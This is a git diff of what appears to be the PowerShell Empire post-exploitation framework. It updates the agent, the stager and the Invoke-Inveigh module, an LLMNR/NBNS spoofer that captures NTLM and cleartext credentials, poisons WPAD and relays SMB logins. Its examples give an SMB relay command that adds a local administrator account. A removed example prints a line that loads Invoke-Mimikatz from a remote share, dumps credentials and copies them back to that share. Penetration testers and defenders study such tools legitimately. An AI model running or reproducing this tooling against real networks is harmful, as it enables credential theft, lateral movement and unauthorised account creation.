diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md new file mode 100644 index 000000000..eaeafb6de --- /dev/null +++ b/.github/CONTRIBUTING.md @@ -0,0 +1,30 @@ +# How To Contribute + +Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions. + + +## Creating Github Issues + +Please first review the existing Empire issues to see if the error was resolved with a fix in the development branch or if we chose not to fix the error for some reason. + +The more information you provide in a Github issue the easier it will be for us to track down and fix the problem: + +* Please provide the version of Empire you are using. +* Please provide the OS and Python versions that you are using. +* Please describe the expected behavior and the encountered error. + * The more detail the better! + * Include any actions taken just prior to the error. + * Please post a screenshot of the error, a link to a Pastebin dump of the error, or embedded text of the error. +* Any additional information. + + +## Submitting Modules + +* Submit pull requests to the [dev branch](https://github.com/powershellempire/Empire/tree/dev). After testing, changes will be merged to master. +* Base modules on the template at [./modules/template.py](https://github.com/PowerShellEmpire/Empire/blob/dev/lib/modules/template.py). **Note** that for some modules you may need to massage the output to get it into a nicely displayable text format [with Out-String](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L111). +* Cite previous work in the **'Comments'** module section. +* If your script.ps1 logic is large, may be reused by multiple modules, or is updated often, consider implementing the logic in the appropriate **data/module_source/*** directory and [pulling the script contents into the module on tasking](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L85-L95). +* Use [approved PowerShell verbs](https://technet.microsoft.com/en-us/library/ms714428(v=vs.85).aspx) for any functions. +* PowerShell Version 2 compatibility is **STRONGLY** preferred. +* TEST YOUR MODULE! Be sure to run it from an Empire agent before submitting a pull to ensure everything is working correctly. +* For additional guidelines for your PowerShell code itself, check out the [PowerSploit style guide](https://github.com/PowerShellMafia/PowerSploit/blob/master/README.md). \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md new file mode 100644 index 000000000..8c6007b85 --- /dev/null +++ b/.github/ISSUE_TEMPLATE.md @@ -0,0 +1,13 @@ +## Empire Version + + +## OS Information (Linux flavor, Python version) + + +## Expected behavior and description of the error, including any actions taken immediately prior to the error. The more detail the better. + + +## Screenshot of error, embedded text output, or Pastebin link to the error + + +## Any additional information diff --git a/changelog b/changelog index aac15f5cf..6f99c711b 100644 --- a/changelog +++ b/changelog @@ -1,11 +1,58 @@ +============ +3/31/2015 - RELEASE 1.5 +============ +-Encompasses all changes since the 1.4 tagged release + + 3/31/2016 --------- +-Merge of Inveigh 1.1 update and privesc/tater +-Updated of Invoke-Mimikatz.ps1 source -Updated mimikatz dlls to version 2.1 alpha -Included modification to suppress cmd.exe when spawned via PTH. -1/17/2016 +3/30/2016 +--------- +-Added loading of external modules with 'load /path/modules/' + +3/25/2016 +--------- +-RESTful API modifications +-expanded agent/server epoch check to +/- 12 hours +-stagers now run -sta + +3/24/2016 +--------- +-RESTful API modifications + +3/22/2016 +--------- +-added auth to RESTful API, additional API fixes + +3/21/2016 +--------- +-start of RESTful API implementation + +3/19/2016 +--------- +-PowerView.ps1 update and multiple related module additions +-added github issue templates +-added situational_awareness/network/powerview/get_gpo_computer + +3/11/2016 +--------- +-added privesc/getsystem +-bug fix for Invoke-PsExec and some x64 pointers + +3/3/2016 +--------- +-first pass at stager retry interval +-download chunking modified + +2/17/2016 --------- - '--debug 2' now displays debug information to the console as well as the empire.debug file +-added privesc/mcafee_sitelist 1/15/2016 --------- @@ -21,11 +68,13 @@ ---------- -Corrected several bugs in how the workingHours window is handled in the agent + ============ 12/29/2015 - RELEASE 1.4 ============ -Encompasses all changes since 1.3.1 tagged release + 12/29/2015 ---------- -Added situational_awareness/network/powerview/find_managed_security_groups to integrate @stufus' new code @@ -121,16 +170,19 @@ --------- -Fixed small bug in TASK_CMD_WAIT response parsing + ============ 10/30/2015 - RELEASE 1.3.1 ============ -Updated reflectivepick dlls to fix bug in injection and dll payload injection + ============ 10/29/2015 - RELEASE 1.3 ============ -Encompasses all changes since 1.2 tagged release + 10/26/2015 ---------- -Fix for psinject bug due to lack of .NET 4.0 on target. @@ -168,6 +220,7 @@ --- Six new modules and WAR stager added, /sids option added to golden_ticket --- Fixed international locale bug with unicode text in agent.ps1 + 8/29/2015 --------- -HMAC algorithm for packet comms upgraded to use SHA1 instead of MD5 @@ -215,6 +268,7 @@ --- Ability for agents to die after certain number of failed checkins --- Added ability to easily remove "stale" agents + 8/15/2015 --------- -Added modules management/timestomp, trollsploit/process_killer, persistence/elevated/wmi, situational_awareness/network/smbscanner, lateral_movement/invoke_psexec diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index f8443daa1..df2c456c4 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -668,12 +668,45 @@ function Invoke-Empire { } # file download elseif($type -eq 41){ - try{ - $path = Get-Childitem $data | %{$_.FullName} - # read in and send 512kb chunks for as long as the file has more parts + try { + $ChunkSize = 512KB + + $Parts = $Data.Split(" ") + + if($Parts.Length -gt 1) { + $Path = $Parts[0..($parts.length-2)] -join " " + try { + $ChunkSize = $Parts[-1]/1 + if($Parts[-1] -notlike "*b*") { + # if MB/KB not specified, assume KB and adjust accordingly + $ChunkSize = $ChunkSize * 1024 + } + } + catch { + # if there's an error converting the last token, assume no + # chunk size is specified and add the last token onto the path + $Path += " $($Parts[-1])" + } + } + else { + $Path = $Data + } + + # hardcoded floor/ceiling limits + if($ChunkSize -lt 64KB) { + $ChunkSize = 64KB + } + elseif($ChunkSize -gt 8MB) { + $ChunkSize = 8MB + } + + # resolve the complete path + $Path = Get-Childitem $Path | %{$_.FullName} + + # read in and send the specified chunk size back for as long as the file has more parts $Index = 0 do{ - $EncodedPart = Get-FilePart -File "$path" -Index $Index + $EncodedPart = Get-FilePart -File "$path" -Index $Index -ChunkSize $ChunkSize if($EncodedPart){ $data = "{0}|{1}|{2}" -f $Index, $path, $EncodedPart @@ -699,7 +732,7 @@ function Invoke-Empire { Encode-Packet -type 40 -data "[*] File download of $path completed" } - catch{ + catch { Encode-Packet -type 0 -data "file does not exist or cannot be accessed" } } @@ -862,9 +895,10 @@ function Invoke-Empire { # calculate what the server's epoch should be based on the epoch diff # this is just done for the first packet in a queue $ServerEpoch = [int][double]::Parse((Get-Date(Get-Date).ToUniversalTime()-UFormat %s)) - $script:EpochDiff - # if the epoch counter isn't within a +/- 10 minute range (600 seconds) + + # if the epoch counter isn't within a +/- 12 hour range (43200 seconds) # skip processing this packet - if ($counter -lt ($ServerEpoch-600) -or $counter -gt ($ServerEpoch+600)){ + if ($counter -lt ($ServerEpoch-43200) -or $counter -gt ($ServerEpoch+43200)){ return } diff --git a/data/agent/stager.ps1 b/data/agent/stager.ps1 index e7ae0e9a2..225bfe02e 100644 --- a/data/agent/stager.ps1 +++ b/data/agent/stager.ps1 @@ -67,7 +67,10 @@ function Start-Negotiate{ $p=(gwmi Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress); # check if the IP is a string or the [IPv4,IPv6] array - $i+='|'+@{$true=$p[0];$false=$p}[$p.Length -lt 6]; + $ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6]; + if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'}; + $i+="|$ip"; + $i+='|'+(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0]; # detect if we're SYSTEM or otherwise high-integrity diff --git a/data/module_source/collection/Invoke-Inveigh.ps1 b/data/module_source/collection/Invoke-Inveigh.ps1 index c656c99cf..8838a9e3b 100644 --- a/data/module_source/collection/Invoke-Inveigh.ps1 +++ b/data/module_source/collection/Invoke-Inveigh.ps1 @@ -2,98 +2,196 @@ Function Invoke-Inveigh { <# .SYNOPSIS -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP(S)/SMB and NTLMv2 HTTP to SMB relay. +Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP/HTTPS/SMB. + .DESCRIPTION -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer designed to assist penetration testers that find themselves limited to a Windows system. -This can commonly occur while performing standard post exploitation, phishing attacks, USB drive attacks, VLAN pivoting, or simply being restricted to a Windows system as part of client imposed restrictions. +Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with the following features: + + IPv4 LLMNR/NBNS spoofer with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB + Basic auth cleartext credential capture over HTTP/HTTPS + WPAD server capable of hosting a basic or custom wpad.dat file + HTTP/HTTPS server capable of hosting limited content + Granular control of console and file output + Run time control + .PARAMETER IP -Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpoofIP' parameter is not set. +Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the SpooferIP parameter is not set. + .PARAMETER SpooferIP Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host. + +.PARAMETER SpooferHostsReply +Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferHostsIgnore +Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferIPsReply +Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferIPsIgnore +Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferRepeat +Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. + .PARAMETER LLMNR -Default = Enabled: Enable/Disable LLMNR spoofing. +Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. + +.PARAMETER LLMNRTTL +Default = 30 Seconds: Specify a custom LLMNR TTL in seconds for the response packet. + .PARAMETER NBNS -Default = Disabled: Enable/Disable NBNS spoofing. +Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. + +.PARAMETER NBNSTTL +Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. + .PARAMETER NBNSTypes Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name -.PARAMETER Repeat -Default = Enabled: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. -.PARAMETER SpoofList -Default = All: Comma separated list of hostnames to spoof with LLMNR and NBNS. + .PARAMETER HTTP -Default = Enabled: Enable/Disable HTTP challenge/response capture. +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + .PARAMETER HTTPS -Default = Disabled: Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. + +.PARAMETER HTTPAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. + +.PARAMETER HTTPBasicRealm +Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. + +.PARAMETER HTTPDir +Specify a full directory path to enable hosting of basic content through the HTTP/HTTPS listener. This parameter will not be used if HTTPResponse is set. + +.PARAMETER HTTPDefaultFile +Specify a filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used for wpad.dat requests. + +.PARAMETER HTTPDefaultEXE +Specify an EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests. + +.PARAMETER HTTPResponse +Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. Use PowerShell character escapes where necessary. + +.PARAMETER HTTPSCertAppID +Specify a valid application GUID for use with the ceriticate. + +.PARAMETER HTTPSCertThumbprint +Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. + +.PARAMETER WPADIP +Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. + +.PARAMETER WPADPort +Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. + +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. + +.PARAMETER WPADResponse +Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. Use PowerShell character escapes where necessary. + .PARAMETER SMB -Default = Enabled: Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. -Block TCP ports 445/139 if you need to prevent login requests from being processed by the Inveigh host. +Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. +Block TCP ports 445/139 or kill the SMB services if you need to prevent login requests from being processed by the Inveigh host. + .PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. +Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures. + .PARAMETER MachineAccounts -Default = Disabled: Enable/Disable showing NTLM challenge/response captures from machine accounts. -.PARAMETER ForceWPADAuth -Default = Enabled: Matches Responder option to Enable/Disable authentication for wpad.dat GET requests. Disabling can prevent browser login prompts. +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + .PARAMETER SMBRelay -Default = Disabled: Enable/Disable SMB relay. +Default = Disabled: (Y/N) Enable/Disable SMB relay. Note that Inveigh-Relay.ps1 must be loaded into memory. + .PARAMETER SMBRelayTarget IP address of system to target for SMB relay. + .PARAMETER SMBRelayCommand Command to execute on SMB relay target. + .PARAMETER SMBRelayUsernames Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. + .PARAMETER SMBRelayAutoDisable -Default = Enable: Automaticaly disable SMB relay after a successful command execution on target. +Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. + .PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. +Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. + .PARAMETER ConsoleOutput -Default = Disabled: Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. +Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. + .PARAMETER FileOutput -Default = Disabled: Enable/Disable real time file output. +Default = Disabled: (Y/N) Enable/Disable real time file output. + .PARAMETER StatusOutput -Default = Enabled: Enable/Disable statup and shutdown messages. +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + .PARAMETER OutputStreamOnly -Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. +Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. + .PARAMETER OutputDir -Default = Working Directory: Set an output directory for log and capture files. +Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. + .PARAMETER ShowHelp -Default = Enabled: Enable/Disable the help messages at startup. +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + .PARAMETER RunTime -Set the run time duration in minutes. +(Integer) Set the run time duration in minutes. + +.PARAMETER Inspect +(Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic. + .PARAMETER Tool -Default = 0: Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + .EXAMPLE Import-Module .\Inveigh.psd1;Invoke-Inveigh Import full module and execute with all default settings. + .EXAMPLE . ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10 Dot source load and execute specifying a specific local listening/spoofing IP. + .EXAMPLE Invoke-Inveigh -IP 192.168.1.10 -HTTP N Execute specifying a specific local listening/spoofing IP and disabling HTTP challenge/response. + .EXAMPLE -Invoke-Inveigh -Repeat N -ForceWPADAuth N -SpoofList host1,host2 +Invoke-Inveigh -SpooferRepeat N -WPADAuth Anonymous -SpooferHostsReply host1,host2 -SpooferIPsReply 192.168.2.75,192.168.2.76 Execute with the stealthiest options. + +.EXAMPLE +Invoke-Inveigh -Inspect +Execute with LLMNR, NBNS, SMB, HTTP, and HTTPS disabled in order to only inpect LLMNR/NBNS traffic. + .EXAMPLE -Invoke-Inveigh -HTTP N -LLMNR N +Invoke-Inveigh -HTTP N -LLMNR N -NBNS N Execute with LLMNR/NBNS spoofing disabled and challenge/response capture over SMB only. This may be useful for capturing non-Kerberos authentication attempts on a file server. + .EXAMPLE Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N Execute specifying a specific local listening IP and a LLMNR/NBNS spoofing IP on another subnet. This may be useful for sending traffic to a controlled Linux system on another subnet. + .EXAMPLE -Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Summer2015 /add && net localgroup administrators Dave /add" -Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. +Invoke-Inveigh -HTTPResponse '' +Execute specifying an HTTP redirect response. + .EXAMPLE -Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd" -Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. -Powermeup.cmd contents used for this example: -powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1" -Original version: -https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/powermeup.cmd +Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" +Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. + .NOTES 1. An elevated administrator or SYSTEM shell is needed. -2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/SMB NTLMv1/NTLMv2 challenge/response capture. +2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/HTTPS/SMB NTLMv1/NTLMv2 challenge/response capture. 3. LLMNR/NBNS spoofing is performed through sniffing and sending with raw sockets. 4. SMB challenge/response captures are performed by sniffing over the host system's SMB service. 5. HTTP challenge/response captures are performed with a dedicated listener. @@ -102,42 +200,60 @@ https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/pow 8. Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS. 9. Ensure that the LMMNR,NBNS,SMB,HTTP ports are open within any local firewall on the host system. 10. If you copy/paste challenge/response captures from output window for password cracking, remove carriage returns. -11. SMB relay support is experimental at this point, use caution if employing on a pen test. + .LINK https://github.com/Kevin-Robertson/Inveigh #> -# Default parameter values can be modified below +# Parameter default values can be modified in this section: param ( - [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP = "", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTPS="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMB="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$LLMNR="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="N", - [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][array]$NBNSTypes=@("00","20"), - [parameter(Mandatory=$false)][array]$SpoofList="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelay="N", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][array]$SMBRelayUsernames, - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", - [parameter(Mandatory=$false)][string]$SMBRelayCommand = "", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$Repeat="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ForceWPADAuth="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SpooferRepeat="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelay="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$HTTPAuth="NTLM", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$WPADAuth="NTLM", + [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][array]$NBNSTypes=@("00","20"), + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$WPADIP = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$HTTPDir="", [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", + [parameter(Mandatory=$false)][array]$SpooferHostsReply="", + [parameter(Mandatory=$false)][array]$SpooferHostsIgnore="", + [parameter(Mandatory=$false)][array]$SpooferIPsReply="", + [parameter(Mandatory=$false)][array]$SpooferIPsIgnore="", + [parameter(Mandatory=$false)][array]$SMBRelayUsernames="", + [parameter(Mandatory=$false)][array]$WPADDirectHosts="", + [parameter(Mandatory=$false)][int]$LLMNRTTL="30", + [parameter(Mandatory=$false)][int]$NBNSTTL="165", + [parameter(Mandatory=$false)][int]$WPADPort="", [parameter(Mandatory=$false)][int]$RunTime="", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", - [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter + [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", + [parameter(Mandatory=$false)][string]$HTTPBasicRealm="IIS", + [parameter(Mandatory=$false)][string]$HTTPDefaultFile="", + [parameter(Mandatory=$false)][string]$HTTPDefaultEXE="", + [parameter(Mandatory=$false)][string]$HTTPResponse="", + [parameter(Mandatory=$false)][string]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", + [parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", + [parameter(Mandatory=$false)][string]$WPADResponse="", + [parameter(Mandatory=$false)][string]$SMBRelayCommand="", + [parameter(Mandatory=$false)][switch]$Inspect, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if ($invalid_parameter) @@ -147,7 +263,7 @@ if ($invalid_parameter) if(!$IP) { - $IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address) + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) } if(!$SpooferIP) @@ -166,6 +282,36 @@ if($SMBRelay -eq 'y') { Throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" } + + if($Challenge -or $HTTPDefaultFile -or $HTTPDefaultEXE -or $HTTPResponse -or $WPADIP -or $WPADPort -or $WPADResponse) + { + Throw "-Challenge -HTTPDefaultFile, -HTTPDefaultEXE, -HTTPResponse, -WPADIP, -WPADPort, and -WPADResponse can not be used when enabling -SMBRelay" + } + elseif($HTTPAuth -ne 'NTLM' -or $WPADAuth -eq 'Basic') + { + Throw "Only -HTTPAuth NTLM, -WPADAuth NTLM, and -WPADAuth Anonymous can be used when enabling -SMBRelay" + } +} + +if($HTTPDefaultFile -or $HTTPDefaultEXE) +{ + if(!$HTTPDir) + { + Throw "You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" + } +} + +if($WPADIP -or $WPADPort) +{ + if(!$WPADIP) + { + Throw "You must specify a -WPADPort to go with -WPADIP" + } + + if(!$WPADPort) + { + Throw "You must specify a -WPADIP to go with -WPADPort" + } } if(!$OutputDir) @@ -183,11 +329,20 @@ if(!$inveigh) $inveigh.log = New-Object System.Collections.ArrayList $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.cleartext_list = New-Object System.Collections.ArrayList $inveigh.IP_capture_list = @() $inveigh.SMBRelay_failed_list = @() } -$inveigh.running = $false +if($inveigh.running) +{ + Throw "Invoke-Inveigh is already running, use Stop-Inveigh" +} +elseif($inveigh.relay_running) +{ + Throw "Invoke-InveighRelay is already running, use Stop-Inveigh" +} + $inveigh.sniffer_socket = $null if($inveigh.HTTP_listener.IsListening) @@ -201,7 +356,9 @@ $inveigh.status_queue = New-Object System.Collections.ArrayList $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList -$inveigh.certificate_thumbprint = "76a49fd27011cf4311fb6914c904c90a89f3e4b2" +$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList +$inveigh.certificate_application_ID = $HTTPSCertAppID +$inveigh.certificate_thumbprint = $HTTPSCertThumbprint $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList $inveigh.console_output = $false $inveigh.console_input = $true @@ -209,7 +366,13 @@ $inveigh.file_output = $false $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" -$Inveigh.challenge = $Challenge +$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" +$inveigh.HTTP_response = $HTTPResponse +$inveigh.HTTP_directory = $HTTPDir +$inveigh.HTTP_default_file = $HTTPDefaultFile +$inveigh.HTTP_default_exe = $HTTPDefaultEXE +$inveigh.WPAD_response = $WPADResponse +$inveigh.challenge = $Challenge $inveigh.running = $true if($StatusOutput -eq 'y') @@ -230,6 +393,15 @@ else $inveigh.output_stream_only = $false } +if($Inspect) +{ + $LLMNR = "N" + $NBNS = "N" + $HTTP = "N" + $HTTPS = "N" + $SMB = "N" +} + if($Tool -eq 1) # Metasploit Interactive PowerShell { $inveigh.tool = 1 @@ -254,19 +426,14 @@ else # Write startup messages $inveigh.status_queue.add("Inveigh started at $(Get-Date -format 's')")|Out-Null -$inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null - -if($FileOutput -eq 'y') -{ - "$(Get-Date -format 's') - Inveigh started" |Out-File $Inveigh.log_out_file -Append -} - +$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh started")]) |Out-Null $inveigh.status_queue.add("Listening IP Address = $IP") |Out-Null $inveigh.status_queue.add("LLMNR/NBNS Spoofer IP Address = $SpooferIP")|Out-Null if($LLMNR -eq 'y') { $inveigh.status_queue.add("LLMNR Spoofing Enabled")|Out-Null + $inveigh.status_queue.add("LLMNR TTL = $LLMNRTTL Seconds")|Out-Null $LLMNR_response_message = "- spoofed response has been sent" } else @@ -275,12 +442,6 @@ else $LLMNR_response_message = "- LLMNR spoofing is disabled" } -if($SpoofList -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) -{ - $spoof_list_output = $SpoofList -join "," - $inveigh.status_queue.add("Spoofing only $spoof_list_output")|Out-Null -} - if($NBNS -eq 'y') { $NBNSTypes_output = $NBNSTypes -join "," @@ -293,7 +454,8 @@ if($NBNS -eq 'y') { $inveigh.status_queue.add("NBNS Spoofing 